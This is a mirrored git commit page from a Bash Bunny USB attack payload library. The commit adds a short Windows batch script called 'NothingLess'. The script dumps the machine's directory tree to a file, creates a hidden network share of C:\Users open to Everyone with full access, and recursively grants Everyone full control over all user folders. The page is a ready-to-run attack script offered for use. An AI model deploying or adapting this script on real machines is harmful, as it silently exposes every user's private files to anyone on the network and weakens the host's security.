mirror of
https://github.com/hak5darren/bashbunny-payloads.git
synced 2025-10-29 16:58:12 +00:00
Added NothingLess payload (#120)
Maps the file system and stores it in c:\users\tempa Shares a drive or location to everyone and grants full security permissions to everyone
This commit is contained in:
committed by
Sebastian Kinne
parent
63b281646a
commit
34003917ee
9
payloads/library/NothingLess/nl.cmd
Normal file
9
payloads/library/NothingLess/nl.cmd
Normal file
@@ -0,0 +1,9 @@
|
||||
ECHO off
|
||||
REM gather the system file structure
|
||||
mkdir c:\Users\tempa
|
||||
tree /a /f > c:\Users\tempa\tree.txt
|
||||
|
||||
REM creates a hidden share syntax(net share <sharename>=<sharelocation> /grant:<user>,<permission>)
|
||||
net share nless$=C:\Users /grant:Everyone,full
|
||||
REM creates security permissions for the shared folder syntax(icacls <sharedlocation> /grant <user>:<permissoons> /T
|
||||
icacls "C:\Users" /grant Everyone:(OI)(CI)F /T
|
||||
Reference in New Issue
Block a user